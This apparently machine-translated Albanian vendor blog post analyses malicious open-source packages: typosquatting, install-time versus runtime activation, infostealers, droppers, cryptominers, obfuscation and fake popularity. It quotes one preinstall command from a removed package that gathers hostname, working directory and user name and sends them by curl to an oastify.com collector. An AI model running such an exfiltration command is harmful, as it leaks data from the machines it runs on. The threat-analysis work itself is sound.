Paketa keqdashëse 5

Anatomia e Paketave Dashakeqe: Cilat janë Trendet?

Në episodin e mëparshëm, Paketa të dëmshme me burim të hapur: Problemi, diskutuam pse aktorët e kërcënimit ishin kaq entuziast për publikimin e komponentëve të rinj dashakeq ose injektimin e programeve dashakeqe në versionet më të fundit të komponentëve ekzistues: Infrastruktura me burim të hapur i lejon kujtdo kudo të krijojë një llogari të përkohshme. në një regjistër komponentësh (si NPM, PyPI, Docker Hub ose Visual Studio Marketplace) ose platformë zhvillimi bashkëpunues (si GitHub). Kosto zero dhe shumë mundësi për të shfrytëzuar besimin e tepërt që ekipet e softuerëve tradicionalisht kanë te komponentët e palëve të treta. 

Asimetria midis lehtësisë që kanë sulmuesit për të shpërndarë programe keqdashëse duke përdorur infrastrukturën e disponueshme për burimin e hapur dhe vështirësisë që kanë organizatat që zhvillojnë softuer (të gjithë?) për të shmangur infektimin me programe keqdashëse (dhe për të shpërndarë programe keqdashëse në softuerin që shpërndajnë për të tjerët), çoi në arritjen pothuajse të një çerek milioni paketash keqdashëse vitin e kaluar. 

Ky është një problem me përmasa të tilla sa asnjë organizatë e vetme nuk mund ta zgjidhë atë, dhe komuniteti është në proces të riformulimit të procesit të burimit të hapur në lidhje me besimin, parimet e sigurisë sipas parazgjedhjes dhe sigurisë sipas dizajnit, si dhe ciklin jetësor të komponentëve. Do t'i shqyrtojmë ide të tilla në episodin tjetër. Mbrojtja nga Paketat Dashakeqe me Burim të Hapur: Çfarë Funksionon (Nuk).

Mbani mend se po flasim për komponentë të softuerit që shumicën e kohës korrespondojnë me paketat e programeve kompjuterike: komponentë të ripërdorshëm të paketuar në mënyrë që të mund të referohen si një varësi në një manifest softueri dhe të instalohen me një menaxher paketash ose mjet ndërtimi. Ju lutemi vini re se ky rast mund të zgjerohet për të përfshirë publikun imazhe kontejnerësh (përdoret nga kohëzgjatjet e kontejnerëve dhe platformat e orkestrimit si Kubernetes), dhe zgjerime për mjetet e softuerit (për ndërtim, automatizim dhe vendosje). 

Këtu analizojmë se si kjo taktikë sulmi bazuar në komponentë dashakeq funksionon, sipas shembujve të kaluar dhe asaj që kemi parë në platformën tonë për Paralajmërimin e Hershëm të Malware-it (MEW). Ne do të analizojmë komponentët keqdashës në dimensione të ndryshme: 

(1) mënyra e zgjedhur për shpërndarje (regjistri i përdorur, në një komponent të ri ose ekzistues, dhe teknika e përdorur për infektimin e versionit të publikuar të komponentit), (2) si aktivizohet ose shkaktohet programi keqdashës, (3) sjellja keqdashëse, pra cilat veprime të dëmshme vërehen dhe cili është motivimi i sulmuesit, (4) cilat teknika janë të zakonshme për errësim, fshehje për të kaluar pa u vënë re, lëvizje anësore, komunikim me hostet e komandës dhe kontrollit (C2), etj.; dhe (5) teknikat për të fituar popullaritet dhe besim të mjaftueshëm në mënyrë që viktimat të përfundojnë duke instaluar komponentin.

Mekanizmi i Shpërndarjes i Zgjedhur

Ne vërejmë një ""zhurma në sfond"të paketave të dëmshme të thjeshta që përdorin gabime shtypi për të mashtruar zhvilluesit e pavëmendshëm me një gabim shtypi në emrin e paketës për varësinë e tyre. Shumë paketa të njohura marrin një breshëri paketash me emra të ngjashëm me gabime shtypi, me shpresën se ato do të mashtrojnë disa zhvillues të pavëmendshëm. 

Ata përdorin një llogari të përkohshme, publikojnë një grup paketash typosquat, krijojnë një tjetër dhe publikojnë një grup tjetër… Duke përdorur pak automatizim dhe zgjuarsi, ata mund të arrijnë njëfarë sofistikimi, por zakonisht janë mjaft të parëndësishëm. Ne i quajmë ato nga brenda "anchoviesVjedhja e kredencialeve është qëllimi kryesor, por herë pas here gjejmë programe spiune që nxjerrin kodin burimor ose të dhëna të ndjeshme si informacion personal i identifikueshëm (PII), kapjen e të dhënave në clipboard dhe dyshime të tjera.

Duke dalë papritur, shohim komponentë më të sofistikuar keqdashës, "peshkaqenët". Një pakicë janë të shënjestruara nga grupe ose organizata specifike, zakonisht me drainer kripto ose skimmer-a web që aktivizohen me kusht, ndoshta duke ndjekur qasjen e parë në incident i rrjedhës së ngjarjes e deshifrimit të ngarkesës së sulmit vetëm kur paketa referohet nga një paketë e synuar. 

Mekanizmi i shpërndarjes u analizua në punimin e shkëlqyer dhe tani klasik, "Koleksioni i Thikave Backstabber: Një Rishikimi i Sulmeve të Zinxhirit të Furnizimit me Softuer me Burim të Hapur", e cila është një libër që duhet lexuar patjetër. Me siguri e keni parë këtë tabelë të bukur më parë: 

paketa keqdashëse

U eksploruan të gjitha rrugët, duke përfshirë paketat e reja dhe ekzistuese; duke prekur kodin burimor, sistemin e ndërtimit ose vetë komponentin e paketuar; duke përdorur kredencialet e vjedhura ose inxhinierinë sociale; duke rrëmbyer llogaritë dhe depot e braktisura ose duke helmuar ato të mirëmbajtura. Disa sulme morën emra (Typsjellja, Konfuzioni i Varësisë, Konfuzion i dukshëm, Repo-jacking. etj.) dhe janë diskutuar tashmë diku tjetër. 

Po në lidhje me regjistrat e zgjedhur?

NPM vazhdon të kryesojë në numrin total të paketave dashakeqe, por pamë një rritje të madhe duke filluar këtë vit në PyPI. Python është një ekosistem popullor për shkencën e të dhënave dhe të mësuarit automatik. Në fakt, dendësia e malware-it tani është më e lartë në PyPI sesa në NPM. 

Si aktivizohet programi keqdashës

Paketat keqdashëse aktivizohen gjatë instalimit vetëm në 4 nga 10 raste (në vitet e fundit ishte afër 6 nga 10). Pjesa tjetër shfaq sjellje keqdashëse gjatë kohës së ekzekutimit, me 1 nga 100 të aktivizuara gjatë ekzekutimit të testeve. Kundërshtarët duket se e dinë se ekzekutimi i pakontrolluar i skripteve të instalimit ishte çaktivizuar në shumë vende.

Çfarë po marrin të këqijtë?

Do të rendisim kategoritë e sjelljeve keqdashëse, me më të njohurat të parat. Ju lutemi vini re se ndikimi mund të jetë mjaft i ndryshëm: një fshirëse është kokëfortësisht shkatërrues, por nuk është i zakonshëm dhe është parë vetëm në disa raste, të lidhura me fushatat e synuara të luftës kibernetike ose haktivizmin brutal. Kategoritë e mëposhtme janë mjaft të zakonshme:

  • InfoStealer / Drainer i KredencialeveDeri tani, më të shpeshtat, mbi 90% e sulmeve të thjeshta janë vjedhës të thjeshtë që kërkojnë kryesisht kredenciale si fjalëkalime, tokena aksesi, çelësa API dhe çelësa privatë (për SSH dhe të ngjashme). Ndoshta është më e thjeshta për t'u shkruar (së bashku me fshirësit?). Ato numërojnë skedarë/drejtori të njohur dhe burime të tjera (p.sh. çelësa regjistri), paketojnë përmbajtjen dhe i dërgojnë ato të dhëna në një server C2. Ideja është e thjeshtë: "Unë publikoj një vjedhës për kredencialet e phishing, në mënyrë që më vonë të mund t'i përdor kredencialet për të nisur një sulm të drejtuar". 

Rrjeti C2 i vëzhguar është zakonisht i lirë dhe i ndyrë, si kanalet e Telegramit ose mjete tunelimi të ngjashme me ngrok (shpesh në formën e proxy-ve të kundërt të ekspozuar përmes IP-ve të daljes VPN). Ka qindra (!) mundësi, me shumë projekte GitHub nën temë për vjedhjen e fjalëkalimeveSpecializimet si keylogger-at janë të rralla për paketat keqdashëse dhe imazhet e kontejnerëve, por më të shpeshta në zgjerimet e mjeteve, ku pritet ndërveprimi i përdoruesit.

  • Dropper / ShkarkuesI dyti për nga popullariteti, zakonisht vjen i pari në sulmet me shumë faza. Më shumë se një në tre komponentë keqdashës kanë dropper-a (nëse ngarkesa keqdashëse përfshihet brenda paketës) ose shkarkues (ngarkesa shkarkohet nga një pikë fundore nën kontrollin e sulmuesit). Ngarkesa është shpesh një variant i njohur binar i malware-it, dhe ekzekutohet dhe ndonjëherë ruhet, për instalimin e dyerve të pasme, spyware-ve, kulluesve të kriptove dhe rasteve të tjera të përdorimit. Ngarkesa e shkarkuar ose e vendosur fillon një sulm të fazës së dytë me të gjithë fuqinë e ofruar nga skedarët binare ekzistues të malware-it. Skedarët binare mund të shpërndahen brenda paketës, shpesh të maskuar si imazhe ose lloje skedarësh gjoja të padëmshëm, për të shmangur zbulimin gjatë lidhjes me faqe të papritura. 
  • Vjedhës/Minatorë të KriptomonedhaveKundërshtarët e motivuar financiarisht janë të gatshëm të përdorin asetet tuaja në cloud për të drejtuar minatorët e kriptominave (ata madje zbulojnë nëse ato po ekzekutohen në një VM cloud). Ata nuk interesohen për raport fitimi i ulët prej 1 dollari për çdo 53 dollarë që i ngarkohen viktimës për infrastrukturën e vjedhur të cloud-it. Viktimat mund të mos jenë të vetëdijshme për këtë derisa të marrin një faturë të papritur. Për fat të mirë, kjo vjen e shkon. Cryptojacking fushatat në paketa dashakeqe shfaqen herë pas here dhe pastaj zhduken, duke phishing për përdoruesit e portofolit ose duke synuar përfundimisht ofruesin e portofolit, si në rastin e Sulmi i Ledger.   

Sjellje të tjera, si vendosja e një dorë e fshehtë për ekzekutimin e kodit në distancë duke hapur një reverse shell është më pak i shpeshtë tani sesa në të kaluarën. Për shembull, 123rf_contributor_web paketa (tani e hequr nga regjistri) hapet pa asnjë paqartësi, një shell i kundërt kopjohet dhe ngjitet nga Fletë mashtrimi për shellin e kundërt:

paketa të dëmshme 2
Lloje paketash keqdashëse u vunë re gjatë javës 24-30 qershor 2024.

Përveç komponentëve legjitimë dhe dashakeq, kemi vërejtur disa abuzime, duke përfshirë:

Paketa spam

Ka mijëra paketa të vogla, kryesisht në NPM, pa programe keqdashëse, por që premtojnë fitime të lehta, "vaj gjarpri", lidhje me ofertat e Viagra-s dhe të gjitha këto. Disa përdorues publikojnë spam të tillë dhe marrin shumë bandwidth nga regjistri. Një aktor tjetër, ndoshta nga Indonezia, u përpoq të nxirrte përfitime duke abuzimi me teaRank i destinuar për kompensimin e zhvilluesve me burim të hapur, duke krijuar dhjetëra mijëra paketa NPM të ndërlidhura me depo artificiale GitHub të lidhura. Kjo është një shkelje e qartë e kushteve të përdorimit.

Shpërblimet për gabime dhe mashtrimet e kërkimit të sigurisë

 Kur një paketë e përshkruan veten si nxjerrëse të dhënash për qëllime të mira, si zbulimi i të metave të sigurisë për programet e shpërblimit të gabimeve ose hulumtimi i aspekteve të caktuara të ekosistemit. Ne kemi parë mijëra paketa në këtë kategori, të cilat sjellin të dhëna identifikimi, por jo shumë të ndjeshme, në një adresë Burp Collaborator nga PortSwigger (p.sh., host në domenin oastify.com). Ne shpesh vërejtëm kopjues të Konfuzioni i Varësisë provë koncepti nga Alex Birsan, si aurora-webmail-pro paketë (e hequr nga regjistri), e cila thjesht ekzekuton këtë kod të keq në skriptin e para-instalimit:

exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done")  

Dhe gjithashtu përfshiu një ""Ky është një sulm i thjeshtë konfuzioni varësie, provë e konceptit.përshkrimi i mohimit të përgjegjësisë në package.jsonKjo është një shkelje e qartë e kushteve të shërbimit, edhe pa qëllim keqdashës. 

Lajme të mira? Nuk kemi parë (ende) sulme ransomware të kryera përmes komponentëve keqdashës. Për arsye të panjohura, kriminelët kibernetikë duket se preferojnë mekanizmat më tradicionalë të phishing-ut me email, të bazuar në RDP dhe të shpërndarjes së shkarkimeve nga makina. 

Teknika të tjera të vëzhguara 

paketa të dëmshme 3

Shumë teknika u përdorën për këmbëngulje, shmangie mbrojtjeje, mbledhjen e informacionit, komunikimin me ushtritë e komandës dhe kontrollit dhe dëbimin. 

Këmbëngulje në komponentët keqdashës fitohet duke përdorur veçoritë e këmbënguljes në një malware binar të fazës së dytë, por ndonjëherë sjellja ndodhet në kodin e paketës, me detyrat e planifikuara dhe ndryshimet në regjistrin e Windows si më të zakonshmet. 

obfuscation është e zakonshme, por e thjeshtë. Shumica e paketave të gabimeve shtypi (mbani mend "anchovies"?") nuk përdorin fare mjegullim; shumë përdorin ose mjegullime të thjeshta (kodim base64/hex ose shifra zëvendësuese si rot13) ose përdorin mjegullues kodi dhe minifikim të disponueshëm, të cilat përmbysen lehtësisht me mjetet e duhura. Vetëm "peshkaqenët" bëjnë mjegullim të vërtetë, të fortë, të vështirë për t'u inxhinieruar mbrapsht.

Mjegullimi mund ta fshehë sulmin, por pse do të duhej të mjegullohej kodi në një komponent me burim të hapur? A ka prova se diçka duhet të fshihet nga pamja e thjeshtë? Ne kemi gjetur shumë raste të paketave jo-keqdashëse që përdorin mjegullimin për të mbrojtur pronën intelektuale, gjë që është në kundërshtim me "burimin e hapur". Mjegullimi mund të përdoret si provë e programeve keqdashëse, por nuk është përfundimtar. Është gjithashtu e vështirë të ç'errësohet. 

shmangie nga kontrollet mbrojtëse përdor teknika të thjeshta. Kodi keqdashës shpesh mbrohet në provo… kap blloqe që injorojnë çdo përjashtim, kështu që aktiviteti jonormal nuk shfaqet në regjistra. Verifikimi i mjedisit (që ekzekutohet në një VM ose kontejner) është i rrallë, përveçse për programe keqdashëse që synojnë një organizatë ose mjedis të caktuar.

Maskimi i skedarëve binare në imazhe dhe skedarë PDF (një lloj steganografie) ishte një tjetër teknikë që shihej për të shmangur zbulimin.

Meqenëse komponentët më të zakonshëm dashakeq janë vjedhësit e informacionit, Mbledhja e të dhënave është thelbësore. Sekretet (fjalëkalimet, tokenët e aksesit, çelësat API, çelësat kriptografikë) skanohen rregullisht në skedarët e regjistrit, variablat e mjedisit dhe madje edhe në kujtesën e përkohshme (që shihet me trojanë bankarë dhe vjedhës kriptosh). Ekfiltrimi i kodit burimor është gjithashtu i zakonshëm, pasi instalimi i paketës shpesh bëhet në një nyje zhvillimi ku mund të klonohen depo të brendshme të git. Kemi parë paketa që numërojnë drejtori në kërkim të depove të git. Kërkimi i vendndodhjeve si .env, private.pem, settings.py, app.js ose application.properties është mjaft i zakonshëm.

Ekfiltrimi është një tjetër veprim i përhapur gjerësisht. Vetëm një pakicë e paketave dashakeqe përpiqen të fshehin destinacionin e të dhënave të nxjerra. Kanalet e Telegramit dhe tunele të ngjashme me ngrok përdoren shpesh. Dhe ka shumë domene zakonisht të listuara në listën e bardhë që përdoren për nxjerrje

Teknika të tjera, si përshkallëzimi i privilegjeve ose lëvizja anësore, ishin më pak të zakonshme. 

Fitimi i popullaritetit dhe besimit

Imagjinoni një hajdut teknologjik me një gjë të gatshme dhe dashakeqe, duke pyetur veten: “Si ta bëj këtë copë mut! të besueshme për ata idiotë të pavëmendshëm?”. 

Kjo përkthehet në mënyrën se si të bëhet që hyrja për komponentin keqdashës të tregojë shumë yje / degë (për popullaritet), plus versione / probleme dhe pull requests (për aktivitet). Ideja është të fitohet popullaritet fiktiv (yje) dhe persona në varësi, si dhe një pamje bindëse në lidhje me rëndësinë dhe mirëmbajtjen. 

Regjistri nuk kontrollon nëse përmbajtja në një projekt GitHub dhe përmbajtja e paketës përputhenKy është një problem i njohur në zinxhirin e furnizimit të softuerëve. Regjistrat publikë janë gropa gjigante që gëlltisin çdo gjë që u hidhet. Mund të lidhni çdo depo. 

paketa të dëmshme 4
Shpërndarja e provave për programe të mundshme keqdashëse gjatë javës 24-30 qershor 2024.

Nëse paketa keqdashëse me gabime shtypi është e gabuar në një nga pakot e njohura, kjo është e lehtë: thjesht referojuni repozitorit ekzistues GitHub në manifestin e varësive të përdorur për krijimin e paketës dhe publikimin e saj në regjistër. Për paketa të reja në një repo të rreme GitHub, mund t'ju duhet më shumë zgjuarsi, ndoshta duke krijuar paketa të rreme. vëzhgim yjesh/përkulje Llogaritë GitHub nëpërmjet skriptimit.

Dhe nëse përmbajtja e paketës suaj është mjaft e ngjashme me depon, bëni disa ndryshime të mirëdizajnuara këtu e atje… Mund ta injektoni malware-in tuaj në një paketë të re që i ngjan një pakete të njohur që i referohet depos ekzistuese dhe të prisni për gabimet drejtshkrimore. Nëse dikush guxon të krahasojë përmbajtjen e tarball-it të paketës me përmbajtjen nga depoja GitHub, ndryshimet në pikat e injektimit të malware-it mund të mos vihen re lehtësisht. E kemi parë këtë qasje shumë herë më parë. 

Një mekanizëm që një komponent të bëjë një deklaratë të pandryshueshme në lidhje me origjinën, mënyrën se si është ndërtuar paketa, nga cilat burime dhe nga kush, do të ishte i mirëpritur. Por kjo është një histori tjetër. 

A është komponenti X malware?

A ekziston një bazë të dhënash (gjithëpërfshirëse) e paketave dashakeqe? Jo. Dobësitë me burim të hapur kanë një ID CVE të caktuar, por vetëm disa paketave dashakeqe (veçanërisht ato që bëjnë bujë) u jepet një i tillë. CWE për paketat dashakeqe është CWE-506 (kod i dëmshëm i integruar). 

Mjetet e zakonshme të programeve keqdashëse (VirusTotal, MalwareBazaar, SOREL-20M…) nuk ofrojnë masa specifike për komponentët keqdashës. Kjo do të ishte e mirëseardhur!

Ekzistojnë baza të dhënash dhe grupe të dhënash të mostrave të hulumtimit për analiza (ne përdorim disa prej tyre), por hyrjet përditësohen vetëm kur njihet paketa keqdashëse, gjë që shpesh është tepër vonë. Nëse jeni të interesuar, OpenSSF Paketa keqdashëse është një fillim i mbarë.

Në postimin tjetër, do të diskutojmë se si të dimë nëse një paketë e caktuar është keqdashëse. Spoiler: po, ka mënyra për të kontrolluar për komponentë keqdashës herët gjatë dritares së ekspozimit, përpara se regjistri të heqë një komponent të njohur keqdashës.

Lexim të mëtejshëm

Në episodin e ardhshëm "Mbrojtja nga Paketat Dashakeqe me Burim të Hapur: Çfarë Funksionon (Nuk)" Do të diskutojmë çfarë duhet dhe çfarë nuk duhet të bëhet për sigurinë me burim të hapur. Shumica e profesionistëve të ndërgjegjshëm për sigurinë kanë intuitë se si ta trajtojnë këtë kërcënim, por ka shumë keqkuptime. 

Do të shqyrtojmë pse këto ide janë të gabuara dhe si këto keqkuptime po kontribuojnë në popullaritetin e këtij mekanizmi sulmi dhe në rrezikun e madh që po përjetojnë organizatat. Pastaj do të vazhdojmë me atë që funksionon dhe cilat janë përpjekjet dhe burimet e përfshira. 

Gjithashtu, do të postojmë rreth evolucionit të paketave dashakeqe për sa i përket qëllimit të tyre, mekanizmit të injektimit dhe teknikave të sulmit.

Qëndroni të akorduar!

Referencat

Paketa të dëmshme me burim të hapur: Problemi

Mbrojtja nga paketat keqdashëse të OSS: Çfarë funksionon (nuk funksionon)

mjetet-e-për-përbërjes-së-softuerit-sca-tools
Përparësoni, korrigjoni dhe siguroni rreziqet e softuerit tuaj
Merrni Llogarinë tuaj Falas.
Nuk kërkohet kartë krediti.

Siguroni Zhvillimin dhe Ofrimin e Softuerit tuaj

me Xygeni Product Suite